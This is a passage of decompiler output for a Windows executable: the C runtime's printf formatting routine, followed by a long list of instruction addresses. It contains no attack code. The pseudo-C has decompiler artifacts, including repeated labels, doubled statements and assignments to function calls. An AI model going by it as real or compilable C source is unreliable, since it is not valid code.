																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0x4b24956c
																					E00424560(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E00428200(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428240(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E00428200(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428200(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428200(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E00428200(__ebp + 0x14);
																	__eax = E00433DB0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x294);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x294);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L101:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x314) = 0;
																	} else {
																		 *(__ebp - 0x314) = 1;
																	}
																	__eax =  *(__ebp - 0x314);
																	 *(__ebp - 0x298) =  *(__ebp - 0x314);
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E220();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) != 0) {
																		L109:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	} else {
																		L108:
																		 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																		__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2e8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ACC0(__ecx);
																		__eax =  *(__ebp - 0x2e8);
																		L211:
																		return E0042BB60(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																	}
																case 9:
																	L142:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xa:
																	L137:
																	 *(__ebp - 0x30) = 8;
																	goto L138;
																case 0xb:
																	L81:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x310) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x310) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x310);
																	 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428200(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L92:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x288) =  *(__ebp - 4);
																		while(1) {
																			L95:
																			__ecx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L96:
																			__eax =  *(__ebp - 0x288);
																			__ecx =  *( *(__ebp - 0x288));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L97:
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		}
																		L98:
																		__eax =  *(__ebp - 0x288);
																		__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L99;
																	} else {
																		L85:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x290) =  *(__ebp - 4);
																		while(1) {
																			L88:
																			__edx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags =  *(__ebp - 0x28c);
																			if( *(__ebp - 0x28c) == 0) {
																				break;
																			}
																			L89:
																			__ecx =  *(__ebp - 0x290);
																			__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L90:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		}
																		L91:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L99:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																case 0xc:
																	L136:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
															}
														case 8:
															L21:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L24;
														case 9:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L24;
														case 0xa:
															L20:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xb:
															L19:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L24;
														case 0xc:
															L23:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xd:
															L24:
															goto L209;
													}
												}
												L210:
												 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
												E0041ACC0(_t524 - 0x40);
												_t478 =  *(_t524 - 0x2ec);
												goto L211;
											}
										}
										L178:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L180:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L181;
										}
										L179:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L181;
										}
										goto L180;
									}
									L174:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2b4);
									__edx =  *(__ebp - 0x2b8);
									__eax = E00430630( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
									 *(__ebp - 0x2a4) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2b4);
									__ecx =  *(__ebp - 0x2b8);
									 *(__ebp - 0x2b8) = E004306B0( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2b4) = __edx;
									__eflags =  *(__ebp - 0x2a4) - 0x39;
									if( *(__ebp - 0x2a4) > 0x39) {
										__edx =  *(__ebp - 0x2a4);
										__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2a4) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2a4);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									goto L173;
								}
							}
							L159:
							__eflags =  *(__ebp - 0x2b0);
							if( *(__ebp - 0x2b0) >= 0) {
								goto L161;
							}
							goto L160;
							L161:
							__ecx =  *(__ebp - 0x2b0);
							 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
							__edx =  *(__ebp - 0x2ac);
							 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
							goto L162;
						}
					}
				}
			}

0x00427be8
0x00427be8
0x00427be8
0x00427be8
0x00427bf2
0x00427bf2
0x00427bf2
0x00427bfc
0x00427bfc
0x00427c02
0x00427c04
0x00427c0e
0x00427c0e
0x00427c11
0x00427c14
0x00427c14
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00427d19
0x00427d19
0x00427d20
0x00000000
0x00000000
0x00427d22
0x00427d22
0x00427d2d
0x00427d33
0x00427d35
0x00427d3b
0x00427d3e
0x00427d40
0x00427d46
0x00427d4f
0x00427d54
0x00427d71
0x00427d74
0x00427d74
0x00427d79
0x00427d7e
0x00427d7e
0x00427d84
0x00427d86
0x00427d8c
0x00427d92
0x00427d92
0x00427d9b
0x00427d9b
0x00427d84
0x00427da1
0x00427da5
0x00427db3
0x00427db6
0x00427db9
0x00427dc0
0x00427dc2
0x00427dc2
0x00427da7
0x00427da7
0x00427da7
0x00427dcf
0x00427dcf
0x00427dd5
0x00427dd7
0x00427dd7
0x00427dde
0x00427de1
0x00427de4
0x00427de4
0x00427de4
0x00427dea
0x00427ded
0x00427df0
0x00427df2
0x00000000
0x00000000
0x00427df4
0x00427dfa
0x00427dfa
0x00427e00
0x00427e7d
0x00427e80
0x00427e83
0x00427e86
0x00427e89
0x00427e8c
0x00427e92
0x00427e92
0x00427e98
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00427ecd
0x00427ed0
0x00427ed0
0x00427ed3
0x00427ed8
0x00427ed8
0x00427edd
0x00427eef
0x00427eef
0x00427ef2
0x00427f04
0x00427f04
0x00427f07
0x00427f09
0x00427f0d
0x00427f0d
0x00427ef4
0x00427ef4
0x00427ef8
0x00427ef8
0x00427edf
0x00427edf
0x00427ee3
0x00427ee3
0x00427edd
0x00427f17
0x00427f1a
0x00427f1d
0x00427f26
0x00427f26
0x00427f29
0x00427f2b
0x00427f32
0x00427f36
0x00427f3f
0x00427f44
0x00427f47
0x00427f4e
0x00427f52
0x00427f56
0x00427f62
0x00427f65
0x00427f65
0x00427f68
0x00427f6d
0x00427f6d
0x00427f70
0x00427f72
0x00427f79
0x00427f7d
0x00427f86
0x00427f8b
0x00427f70
0x00427f8e
0x00427f92
0x00428066
0x00428066
0x0042806d
0x00428071
0x00428075
0x00428079
0x00000000
0x00427f98
0x00427f98
0x00427f98
0x00427f9c
0x00000000
0x00000000
0x00427fa2
0x00427fa2
0x00427fac
0x00427faf
0x00427fb5
0x00427fb8
0x00427fbe
0x00427fbe
0x00427fbe
0x00427fca
0x00427fcd
0x00427fd3
0x00427fd5
0x00000000
0x00000000
0x00427fdb
0x00427fdb
0x00427fe4
0x00427feb
0x00427ff5
0x00427ffc
0x0042800b
0x00428017
0x0042801a
0x00428020
0x00428027
0x00428032
0x00428032
0x00000000
0x00428032
0x00428029
0x00428029
0x00428030
0x0042803e
0x0042803e
0x00428045
0x00428049
0x00428057
0x00000000
0x0042805c
0x00000000
0x00428030
0x00428064
0x00428081
0x00428081
0x00428088
0x0042808d
0x0042808d
0x00428090
0x00428092
0x00428099
0x0042809d
0x004280a6
0x004280ab
0x00428090
0x00428088
0x004280ae
0x004280ae
0x004280b2
0x004280ba
0x004280c2
0x004280c2
0x004280c9
0x004280c9
0x0042724f
0x00427262
0x00427267
0x00000000
0x0042727a
0x00427284
0x004272ab
0x00427292
0x004272a3
0x004272a3
0x00427284
0x004272b5
0x004272bb
0x004272cd
0x004272d8
0x004272e4
0x004272f1
0x00000000
0x00000000
0x004272f7
0x004272fd
0x00000000
0x00427304
0x00427304
0x0042731c
0x00427321
0x00427326
0x004273e0
0x004273f3
0x004273f8
0x00000000
0x0042732c
0x0042733f
0x00427344
0x0042734a
0x0042734c
0x00427355
0x00427358
0x00427364
0x00427368
0x0042736e
0x00427370
0x00427375
0x00427377
0x0042737c
0x00427381
0x00427383
0x00427388
0x0042738e
0x00427390
0x00427390
0x0042738e
0x00427391
0x00427398
0x00000000
0x0042739a
0x0042739f
0x004273bb
0x004273c3
0x004273d0
0x004273d5
0x00000000
0x004273d5
0x00427398
0x00000000
0x00427400
0x00427400
0x00427407
0x0042740a
0x0042740d
0x00427410
0x00427413
0x00427416
0x00427419
0x00427420
0x00427427
0x00000000
0x00000000
0x00427433
0x00427433
0x0042743a
0x00427446
0x00427449
0x0042744f
0x00427456
0x00000000
0x00000000
0x00427458
0x00427458
0x0042745e
0x0042745e
0x00427465
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004274a8
0x004274a8
0x004274af
0x004274b2
0x004274dc
0x004274df
0x004274df
0x004274e2
0x004274e9
0x004274e9
0x004274ed
0x004274b4
0x004274b4
0x004274c0
0x004274c3
0x004274c7
0x004274c9
0x004274cc
0x004274cc
0x004274cf
0x004274d5
0x004274d7
0x004274d7
0x004274da
0x004274f0
0x00000000
0x00000000
0x004274f5
0x004274f5
0x00000000
0x00000000
0x00427501
0x00427501
0x00427508
0x0042750b
0x0042752b
0x0042752e
0x0042752e
0x00427538
0x00427538
0x0042753c
0x0042750d
0x0042750d
0x00427519
0x0042751c
0x00427520
0x00427522
0x00427522
0x00427529
0x00000000
0x00000000
0x00427544
0x00427544
0x0042754b
0x00427557
0x0042755a
0x00427560
0x00427567
0x0042767a
0x00000000
0x0042767a
0x0042756d
0x0042756d
0x00427573
0x00427573
0x0042757a
0x00000000
0x004275b0
0x004275b0
0x004275b3
0x004275b6
0x004275b9
0x004275e1
0x004275e1
0x004275e4
0x004275e7
0x004275ea
0x0042760f
0x0042760f
0x00427612
0x00427615
0x00427618
0x00427651
0x00427662
0x00000000
0x00427662
0x0042761a
0x0042761a
0x0042761d
0x00427620
0x00427623
0x00000000
0x00000000
0x00427625
0x00427625
0x00427628
0x0042762b
0x0042762e
0x00000000
0x00000000
0x00427630
0x00427630
0x00427633
0x00427636
0x00427639
0x00000000
0x00000000
0x0042763b
0x0042763b
0x0042763e
0x00427641
0x00427644
0x00000000
0x00000000
0x00427646
0x00427646
0x00427649
0x0042764c
0x0042764f
0x00427653
0x00000000
0x00427653
0x00000000
0x0042764f
0x004275ec
0x004275ec
0x004275ef
0x004275f3
0x004275f6
0x00000000
0x004275f8
0x004275fb
0x004275fe
0x00427601
0x00427604
0x0042760a
0x00000000
0x0042760a
0x004275f6
0x004275bb
0x004275bb
0x004275be
0x004275c2
0x004275c5
0x00000000
0x004275c7
0x004275ca
0x004275cd
0x004275d0
0x004275d3
0x004275d9
0x00000000
0x004275d9
0x00000000
0x00427664
0x00427667
0x0042766a
0x00000000
0x00000000
0x00427581
0x00427581
0x00427584
0x00427587
0x0042758a
0x004275a2
0x004275a5
0x004275a5
0x004275a8
0x0042758c
0x0042758f
0x00427592
0x00427598
0x0042759d
0x0042759d
0x00000000
0x00000000
0x0042766f
0x0042766f
0x00427672
0x00427672
0x00427677
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042767f
0x0042767f
0x00427686
0x00427692
0x00427695
0x0042769b
0x004276a2
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x004276a8
0x004276ae
0x004276ae
0x004276b5
0x00000000
0x00427a0f
0x00427a0f
0x00427a16
0x00427a1d
0x00427a1d
0x00427a20
0x00000000
0x00000000
0x004276bc
0x004276bf
0x004276bf
0x004276c5
0x004276c7
0x004276ca
0x004276ca
0x004276cf
0x004276cf
0x00000000
0x00000000
0x004277fc
0x004277ff
0x004277ff
0x00427804
0x00427806
0x00427809
0x00427809
0x0042780f
0x0042780f
0x00000000
0x00000000
0x00427bdc
0x00427bdc
0x00427bf2
0x00427bf2
0x00427bfc
0x00427bfc
0x00427c02
0x00427c04
0x00427c0e
0x00427c0e
0x00427c11
0x00427c14
0x00427c14
0x00000000
0x00000000
0x00427766
0x00427766
0x00427772
0x00427778
0x0042777f
0x0042778d
0x0042778d
0x00427793
0x00427796
0x004277a2
0x004277f7
0x00000000
0x004277f7
0x00427781
0x00427781
0x00427787
0x0042778b
0x004277a7
0x004277aa
0x004277aa
0x004277b0
0x004277d8
0x004277df
0x004277e5
0x004277e8
0x004277eb
0x004277f1
0x004277f4
0x004277b2
0x004277b2
0x004277b8
0x004277bb
0x004277be
0x004277c4
0x004277c7
0x004277ca
0x004277cc
